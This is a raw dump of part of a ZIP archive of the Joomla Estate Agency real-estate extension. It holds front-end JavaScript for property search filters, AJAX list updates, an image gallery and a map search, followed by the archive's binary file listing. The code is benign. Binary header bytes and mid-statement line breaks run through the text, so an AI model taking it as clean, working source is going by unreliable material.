/>').on("load.mfploader",function(){d.hasSize=!0}).on("error.mfploader",function(){d.hasSize=!0,d.loadError=!0,y("LazyLoadError",d)}).attr("src",d.src)),d.preloaded=!0}}}});var
U="retina";a.magnificPopup.registerModule(U,{options:{replaceSrc:function(a){return
a.src.replace(/\.\w+$/,function(a){return"@2x"+a})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var
a=b.st.retina,c=a.ratio;c=isNaN(c)?c():c,c>1&&(w("ImageHasSize."+U,function(a,b){b.img.css({"max-width":b.img[0].naturalWidth/c,width:"100%"})}),w("ElementParse."+U,function(b,d){d.src=a.replaceSrc(d,c)}))}}}}),A()});PK2��[M���xxjs/jquery-search.jsnu�[���/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate
* agency
*
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU/GPL, see LICENSE.txt
*/
function JEASearch(formId, options) {
this.form = jQuery(formId)[0]
this.forceUpdateLists = true
this.options = {
fields : {
filter_amenities : [],
filter_area_id : 0,
filter_bathrooms_min : 0,
filter_bedrooms_min : 0,
filter_budget_max : 0,
filter_budget_min : 0,
filter_condition : 0,
filter_department_id : 0,
filter_floor : '',
filter_heatingtype : 0,
filter_hotwatertype : 0,
filter_land_space_max : 0,
filter_land_space_min : 0,
filter_living_space_max :0,
filter_living_space_min : 0,
filter_orientation : 0,
filter_rooms_min : 0,
filter_search : "",
filter_town_id : 0,
filter_transaction_type : "",
filter_type_id : 0,
filter_zip_codes : ""
},
useAJAX: false,
transactionType: ""
}
jQuery.extend(this.options, options)
if (this.options.useAJAX) {
for (var fieldName in this.options.fields) {
if (fieldName == 'filter_amenities') {
fieldName = 'filter_amenities[]'
}
this.initFieldBehavior(fieldName)
}
}
jQuery(formId).on('reset', jQuery.proxy(this.reset, this))
}
JEASearch.prototype.initFieldBehavior = function(fieldName) {
if (!this.form[fieldName]) {
return
}
switch (fieldName) {
case 'filter_amenities[]':
var that = this
jQuery(this.form).find('[name="filter_amenities[]"]').on('change',
function() {
var index =
that.options.fields.filter_amenities.indexOf(jQuery(this).val())
if (jQuery(this).prop('checked') && index == -1) {
that.options.fields.filter_amenities.push(jQuery(this).val());
} else if (!jQuery(this).prop('checked') && index
> -1){
that.options.fields.filter_amenities.splice(index, 1);
}
that.forceUpdateLists = true
that.refresh()
})
break
case 'filter_transaction_type':
var that = this
jQuery(this.form).find('[name="filter_transaction_type"]').on('change',
function() {
if (jQuery(this).prop('checked')) {
that.options.fields.filter_transaction_type = jQuery(this).val()
}
that.forceUpdateLists = true
that.refresh()
})
break
default:
var field = jQuery(this.form[fieldName])
this.options.fields[fieldName] = field.val()
field.on('change', jQuery.proxy(function() {
this.forceUpdateLists = false
this.options.fields[fieldName] = field.val()
this.refresh()
}, this))
}
}
JEASearch.prototype.reset = function() {
this.options.fields = {
filter_amenities : [],
filter_area_id : 0,
filter_bathrooms_min : 0,
filter_bedrooms_min : 0,
filter_budget_max : 0,
filter_budget_min : 0,
filter_condition : 0,
filter_department_id : 0,
filter_floor : '',
filter_heatingtype : 0,
filter_hotwatertype : 0,
filter_land_space_max : 0,
filter_land_space_min : 0,
filter_living_space_max :0,
filter_living_space_min : 0,
filter_orientation : 0,
filter_rooms_min : 0,
filter_search : "",
filter_town_id : 0,
filter_transaction_type : this.options.transactionType,
filter_type_id : 0,
filter_zip_codes : ""
};
jQuery(this.form).find(':input')
.not(':button, :submit, :reset, :hidden')
.val('')
.prop('checked', false)
.prop('selected', false)
.removeAttr('checked')
.removeAttr('selected')
this.refresh()
},
JEASearch.prototype.refresh = function() {
if (this.options.useAJAX) {
jQuery.ajax({
dataType: 'json',
url:
'index.php?option=com_jea&task=properties.search&format=json',
method: 'POST',
data: this.options.fields,
context: this,
success: function(response) {
this.appendList('filter_type_id', response.types)
this.appendList('filter_department_id', response.departments)
this.appendList('filter_town_id',response.towns)
this.appendList('filter_area_id', response.areas)
jQuery('.jea-counter-result').text(response.total)
}
})
}
}
JEASearch.prototype.appendList = function(selectName, objectList) {
if (!this.form[selectName]) {
return
}
var selectElt = jQuery(this.form[selectName])
// Update the list only if its value equals 0
// Or if this.forceUpdateLists is set to true
if (selectElt.val() == 0 || this.forceUpdateLists) {
var value = selectElt.val()
// Save the first option element
var first = selectElt.children(':first').clone()
selectElt.empty().append(first)
jQuery.each(objectList, function( idx, item ){
var option =
jQuery('<option></option>').text(item.text).attr('value',
item.value)
if (item.value == value) {
option.attr('selected', 'selected')
}
selectElt.append(option)
})
}
}
PK2��[-��Ҭ�js/jea-squeezebox.jsnu�[���
var onOpenSqueezebox = function(content) {
var imgLinks = $$('a.jea_modal');
var gallery = [];
var currentIndex = 0;
imgLinks.each(function(el, count) {
if (el.href.test(SqueezeBox.url)) {
currentIndex = count;
}
var ImgElt = el.getElement('img');
if (ImgElt) {
gallery[count] = {
title : ImgElt.getProperty('alt'),
description : ImgElt.getProperty('title'),
url : el.href
};
}
});
var replaceImage = function (imageIndex) {
if (!gallery[imageIndex]) {
return false;
}
content.empty();
var newImage = gallery[imageIndex];
// This override the non-wanted opacity effect once the gallery is
// loaded
SqueezeBox.fx.content = new Fx.Tween(content, {
property: 'min-height',
duration: 150,
link: 'cancel'
}).set(0);
SqueezeBox.setContent('image', newImage.url);
appendInfos(newImage);
return true;
};
var appendInfos = function(imgData) {
if (imgData.title || imgData.description) {
var infosElt = document.id('jea-squeezeBox-infos');
if (!infosElt) {
infosElt = new Element('div', {'id' :
'jea-squeezeBox-infos'})
content.getParent().adopt(infosElt);
} else {
infosElt.empty();
}
if (imgData.title) {
infosElt.adopt(new Element('div', {
'id' : 'jea-squeezeBox-title',
'text' : imgData.title
}));
}
if (imgData.description) {
infosElt.adopt(new Element('div', {
'id' : 'jea-squeezeBox-description',
'text' : imgData.description
}));
}
}
};
var navBlock = document.id('jea-squeezeBox-navblock');
if (!navBlock) {
var navBlock = new Element('div', { 'id' :
'jea-squeezeBox-navblock' });
content.getParent().adopt(navBlock);
}
if (!document.id('jea-squeezeBox-prev')) {
if (!previousLabel) {
previousLabel = 'Previous';
}
var previousLink = new Element('a', {
'href' : '#',
'id' : 'jea-squeezeBox-prev',
'text' : '< ' + previousLabel
});
previousLink.addEvent('click', function(e) {
e.stop();
if (replaceImage(currentIndex-1)) {
currentIndex--;
if (!gallery[currentIndex-1]) {
this.setProperty('class', 'inactive')
}
}
if (gallery[currentIndex+1] &&
nextLink.getProperty('class') == 'inactive') {
nextLink.removeProperty('class');
}
});
navBlock.adopt(previousLink);
} else {
var previousLink = document.id('jea-squeezeBox-prev')
}
if (!document.id('jea-squeezeBox-next')) {
if (!nextLabel) {
nextLabel = 'Next';
}
var nextLink = new Element('a', {
'href' : '#',
'id' : 'jea-squeezeBox-next',
'text' : nextLabel+' >'
});
nextLink.addEvent('click', function(e) {
e.stop();
if (replaceImage(currentIndex+1)) {
currentIndex++;
if (!gallery[currentIndex+1]) {
this.setProperty('class', 'inactive')
}
}
if (gallery[currentIndex-1] &&
previousLink.getProperty('class') == 'inactive') {
previousLink.removeProperty('class');
}
});
navBlock.adopt(nextLink);
} else {
var nextLink = document.id('jea-squeezeBox-next')
}
if (!gallery[currentIndex-1]) {
previousLink.setProperty('class', 'inactive');
}
if (!gallery[currentIndex+1]) {
nextLink.setProperty('class', 'inactive');
}
appendInfos(gallery[currentIndex]);
}
PK2��[6��0Z Z js/jquery-geoSearch.jsnu�[���
function JEAGeoSearch(mapId, options) {
this.content = document.getElementById(mapId)
this.mask = null
this.map = null
this.options = {
opacity : 0.5,
counterElement : '',
defaultArea : '',
Itemid : 0
}
jQuery.extend(this.options, options)
}
JEAGeoSearch.prototype.refresh = function() {
var params = this.getFilters();
var kml =
'index.php?option=com_jea&task=properties.kml&format=xml'
for (key in params) {
kml += '&' + key + '=' + params[key]
}
kml += '&Itemid=' + this.options.Itemid
var mapOptions = {
mapTypeId : google.maps.MapTypeId.ROADMAP
}
this.map = new google.maps.Map(this.content, mapOptions)
var that = this
geoXml = new geoXML3.parser({
map : this.map,
afterParse : function(docSet) {
// Count results
var count = 0;
jQuery.each(docSet, function(idx, doc) {
if (doc.markers) {
count += doc.markers.length
}
})
if (!count) {
var geocoder = new google.maps.Geocoder()
var opts = {
address : that.options.defaultArea
}
geocoder.geocode(opts, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
that.map.fitBounds(results[0].geometry.viewport);
}
})
}
jQuery('#' + that.options.counterElement).text(count)
}
})
geoXml.parse(kml);
}
JEAGeoSearch.prototype.getFilters = function () {
var form = jQuery('#jea-search-form')
var filters = {}
var fields = [
'filter_type_id',
'filter_department_id',
'filter_town_id',
'filter_area_id',
'filter_budget_min',
'filter_budget_max',
'filter_living_space_min',
'filter_living_space_max',
'filter_rooms_min'
]
var transTypes =
form.find('[name="filter_transaction_type"]')
if (transTypes.length > 1) {
jQuery.each(transTypes, function(idx, item){
if (jQuery(item).prop('checked')) {
filters['filter_transaction_type'] = jQuery(item).val()
}
})
} else if (transTypes.length == 1) {
filters['filter_transaction_type'] = transTypes.val()
}
jQuery.each(fields, function(idx, field) {
var val = jQuery(form).find('[name="' + field
+'"]').val()
if (val > 0) {
filters[field] = val
}
})
var amenities =
form.find('[name="filter_amenities[]"]')
jQuery.each(amenities, function(idx, item) {
if (jQuery(item).prop('checked')) {
filters['filter_amenities[' + idx + ']'] =
jQuery(item).val()
}
})
return filters
}
PKdx�[
5����controllers/gateway.phpnu�[���PKdx�[��/��
�
2controllers/gateways.phpnu�[���PKdx�[5ݑ�;;controllers/featurelist.phpnu�[���PKdx�[������controllers/features.json.phpnu�[���PKdx�[AK�33�controllers/properties.phpnu�[���PKdx�[���Qcontrollers/feature.phpnu�[���PKdx�[Յ+���$controllers/features.phpnu�[���PKdx�[*K���
�
�6controllers/default.phpnu�[���PKdx�[Z�=��Acontrollers/property.phpnu�[���PKdx�[�66�Xcontrollers/gateway.json.phpnu�[���PKdx�[$Tr��Tagateways/gateway.phpnu�[���PKdx�[p&�``Opgateways/dispatcher.phpnu�[���PKdx�[%��4�4��gateways/import.phpnu�[���PKdx�[.��@����gateways/export.phpnu�[���PKdx�[���??!0�gateways/providers/jea/import.xmlnu�[���PKdx�[�,����!��gateways/providers/jea/export.xmlnu�[���PKdx�[�]M�!��gateways/providers/jea/import.phpnu�[���PKdx�[
�X\{{!!�gateways/providers/jea/export.phpnu�[���PKdx�[�Xl��helpers/jea.phpnu�[���PKdx�[��Ŗ��K helpers/utility.phpnu�[���PKdx�[��^&QQ&helpers/upload.phpnu�[���PKdx�[�����'helpers/html/features.phpnu�[���PKdx�[�M�88%�Fhelpers/html/contentadministrator.phpnu�[���PKdx�[�.xQ??$DMlanguage/es-ES/es-ES.com_jea.sys.ininu�[���PKdx�[��wvv
�Qlanguage/es-ES/es-ES.com_jea.ininu�[���PKdx�[�
��$�jlanguage/en-GB/en-GB.com_jea.sys.ininu�[���PKdx�[�ca�++
olanguage/en-GB/en-GB.com_jea.ininu�[���PKdx�[5Z�--
��language/fr-FR/fr-FR.com_jea.ininu�[���PKdx�[8,�ekk$��language/fr-FR/fr-FR.com_jea.sys.ininu�[���PKdx�[�q�I����layouts/jea/gateways/nav.phpnu�[���PKdx�[�y���!�layouts/jea/gateways/consoles.phpnu�[���PKdx�[x�Q Q $3�layouts/jea/gateways/console/cli.phpnu�[���PKdx�[S2k��%ضlayouts/jea/gateways/console/ajax.phpnu�[���PKdx�[��G��layouts/jea/fields/gallery.phpnu�[���PKdx�[���zz��models/gateway.phpnu�[���PKdx�[3�\�\\F�models/gateways.phpnu�[���PKdx�[IC��((��models/featurelist.phpnu�[���PKdx�[|��WWS�models/forms/import.xmlnu�[���PKdx�[0LMۤ�)�models/forms/features/08-hotwatertype.xmlnu�[���PKdx�[uk�S��$�models/forms/features/05-amenity.xmlnu�[���PKdx�[�o��!�models/forms/features/01-type.xmlnu�[���PKdx�[�<���#�models/forms/features/09-slogan.xmlnu�[���PKdx�[.G�Z��(�models/forms/features/07-heatingtype.xmlnu�[���PKdx�[M�p!�models/forms/features/04-area.xmlnu�[���PKdx�[Z~Z��&models/forms/features/06-condition.xmlnu�[���PKdx�[��%%!models/forms/features/03-town.xmlnu�[���PKdx�[�H����'�models/forms/features/02-department.xmlnu�[���PKdx�[����models/forms/export.xmlnu�[���PKdx�[c���"�models/forms/filter_properties.xmlnu�[���PKdx�[݅��#�!models/forms/filter_featurelist.xmlnu�[���PKdx�[�/�=�#models/forms/gateway.xmlnu�[���PKdx�[��L��'models/forms/import-jea.xmlnu�[���PKdx�[�uC)!!3)models/forms/property.xmlnu�[���PKdx�[�1G��0�0�Jmodels/properties.phpnu�[���PKdx�[�-+�
�
o{models/feature.phpnu�[���PKdx�[�ix��
�
3�models/features.phpnu�[���PKdx�[�V��]�models/fields/price.phpnu�[���PKdx�[�2���/�models/fields/featurelist.phpnu�[���PKdx�[�ip�
�
*�models/fields/gallery.phpnu�[���PKdx�[1�\&� � ?�models/fields/amenities.phpnu�[���PKdx�[��+33��models/fields/surface.phpnu�[���PKdx�[>Y�MM%��models/fields/gatewayproviderlist.phpnu�[���PKdx�[�����!��models/fields/geolocalization.phpnu�[���PKdx�[�eؤA�A��models/propertyInterface.phpnu�[���PKdx�[j�Lr�(�(�0models/property.phpnu�[���PKdx�[�����Ysql/uninstall.mysql.utf8.sqlnu�[���PKdx�[ԯJ�KK�[sql/install.mysql.utf8.sqlnu�[���PKdx�[9� jGG={sql/updates/mysql/2.0.sqlnu�[���PKdx�[~x����{sql/updates/mysql/2.1.sqlnu�[���PKdx�[~��h�|sql/updates/mysql/2.2.sqlnu�[���PKdx�[w�ިddn~sql/updates/mysql/2.30.sqlnu�[���PKdx�[��TA��sql/updates/mysql/3.1.sqlnu�[���PKdx�[�/uu�sql/updates/mysql/3.4.sqlnu�[���PKdx�[��zӴ���tables/gateway.phpnu�[���PKdx�[L5M�����tables/features.phpnu�[���PKdx�[%Ƌ٢���tables/property.phpnu�[���PKdx�[g�-�''k�views/gateway/tmpl/edit.phpnu�[���PKdx�[O��*DDݤviews/gateway/view.html.phpnu�[���PKdx�[�#)� l�views/gateways/tmpl/import.phpnu�[���PKdx�[g���%%îviews/gateways/tmpl/default.phpnu�[���PKdx�[jOn
7�views/gateways/tmpl/export.phpnu�[���PKdx�[�L珥���views/gateways/view.html.phpnu�[���PKdx�[D7�z����views/about/tmpl/default.phpnu�[���PKdx�[��<nn|�views/about/view.html.phpnu�[���PKdx�[/vo��3�views/features/tmpl/default.phpnu�[���PKdx�[[�J���'�views/features/view.html.phpnu�[���PKdx�[�y�v��d�views/feature/tmpl/edit.phpnu�[���PKdx�[zӓ:�views/feature/view.html.phpnu�[���PKdx�[��l��!��views/properties/tmpl/default.phpnu�[���PKdx�[�B��views/properties/view.html.phpnu�[���PKdx�[Fx�9��"*views/featurelist/tmpl/default.phpnu�[���PKdx�[��} } U=views/featurelist/view.html.phpnu�[���PKdx�[���9}}!Gviews/tools/tmpl/default.phpnu�[���PKdx�[:Ph�BB�Iviews/tools/view.html.phpnu�[���PKdx�[}!-8''uPviews/property/tmpl/edit.phpnu�[���PKdx�[F+#{99�bviews/property/view.html.phpnu�[���PKdx�[��szz
mqaccess.xmlnu�[���PKdx�[�����%�%
!vconfig.xmlnu�[���PKdx�[Z�uB2�jea.phpnu�[���PKdx�[4%a3�E�Ei�LICENCE.txtnu�[���PKdx�[���I*I*;�NEWS.txtnu�[���PKdx�[��:y���jea.xmlnu�[���PKK��[E{�''�controllers/thumbnail.phpnu�[���PKK��[�۴�
[$controllers/properties.xml.phpnu�[���PKK��[�Q����4controllers/properties.json.phpnu�[���PKK��[w�[�Ccontrollers/default.feed.phpnu�[���PKK��[o7��
�
�Fhelpers/html/utility.phpnu�[���PKK��[6�����Qhelpers/html/amenities.phpnu�[���PKK��[�-&ҕ��]models/form.phpnu�[���PKK��[V(m``�cviews/form/tmpl/edit.xmlnu�[���PKK��[x����Mfviews/form/tmpl/edit.phpnu�[���PKK��[cU�h�+�+6�views/form/tmpl/size.phpnu�[���PKK��[�)�y:y:Y�views/form/tmpl/rx.phpnu�[���PKK��[�6b�� � �views/form/view.html.phpnu�[���PKK��[��̹%�%#��views/properties/tmpl/searchmap.phpnu�[���PKK��[�����
views/properties/tmpl/search.xmlnu�[���PKK��[�e���-�-
-views/properties/tmpl/search.phpnu�[���PKK��[�g=���
4[views/properties/tmpl/manage.xmlnu�[���PKK��[[���
�
#S\views/properties/tmpl/searchmap.xmlnu�[���PKK��[�r����
,jviews/properties/tmpl/manage.phpnu�[���PKK��[G�z� (�views/properties/tmpl/default_remind.phpnu�[���PKK��[k�/���!a�views/properties/tmpl/default.xmlnu�[���PKK��[�e�Mwwx�views/properties/view.feed.phpnu�[���PKK��[��*���=�views/properties/metadata.xmlnu�[���PKK��[�钑 � )�views/property/tmpl/default_googlemap.phpnu�[���PKK��[���O O +�views/property/tmpl/default_contactform.phpnu�[���PKK��[��|�ZZ��views/property/tmpl/default.phpnu�[���PKK��[9���s s 'W�views/property/tmpl/default_gallery.phpnu�[���PKK��[�x�O
O
-!�views/property/tmpl/default_magnificpopup.phpnu�[���PKK��[(���*��views/property/tmpl/default_squeezebox.phpnu�[���PKK��[�ofnn
2�router.phpnu�[���PK0��[
� css/print.cssnu�[���PK0��[5�$���
css/jea.cssnu�[���PK0��[ �Z���'css/magnific-popup.cssnu�[���PK0��[�
c���Acss/jea.admin.cssnu�[���PK0��[�w��Rimages/import.pngnu�[���PK0��[�
�Q��ZZimages/logo.pngnu�[���PK0��[P釥��
fgimages/header/icon-48-import.pngnu�[���PK0��[�0����timages/header/icon-36-jea.pngnu�[���PK0��[7�i^^�zimages/header/icon-48-jea.pngnu�[���PK0��[��+pLL7�images/unchecked.pngnu�[���PK0��[�g��ǃimages/checked.pngnu�[���PK0��[ͺ]�88�images/slider_bg.pngnu�[���PK0��[>?2����images/sort_desc.pngnu�[���PK0��[���k��r�images/unpublished.pngnu�[���PK0��[O'B�����images/knob.pngnu�[���PK0��[6K����images/export.pngnu�[���PK0��[�v1&��ߞimages/published.pngnu�[���PK0��[���!!�images/spinner.gifnu�[���PK0��[�������images/sort_asc.pngnu�[���PK0��[�(�+��d�images/media_trash.pngnu�[���PK0��[C���p�js/biSlider.jsnu�[���PK0��[A~^(��
��js/console.jsnu�[���PK0��[Q�����js/search.jsnu�[���PK0��[&�^�����js/jquery.magnific-popup.jsnu�[���PK2��[�$�f��͉js/gateway-jea.jsnu�[���PK2��[������js/property.form.jsnu�[���PK2��[!�p8��R�js/geoSearch.jsnu�[���PK2��[&V�ۭ���js/jquery-biSlider.jsnu�[���PK2��[H{Uxxw�js/jquery-ui-draggable.min.jsnu�[���PK2��[>�����D js/admin/gallery.jsnu�[���PK2��[�$�f���J js/admin/gateway.jsnu�[���PK2��[�pXQ�8�8
�Z js/geoxml3.jsnu�[���PK2��[�����
js/jquery-ui-draggable.jsnu�[���PK2��[h*^�N�NC�js/jquery.magnific-popup.min.jsnu�[���PK2��[M���xx��js/jquery-search.jsnu�[���PK2��[-��Ҭ�E�js/jea-squeezebox.jsnu�[���PK2��[6��0Z Z 5�js/jquery-geoSearch.jsnu�[���PK���:�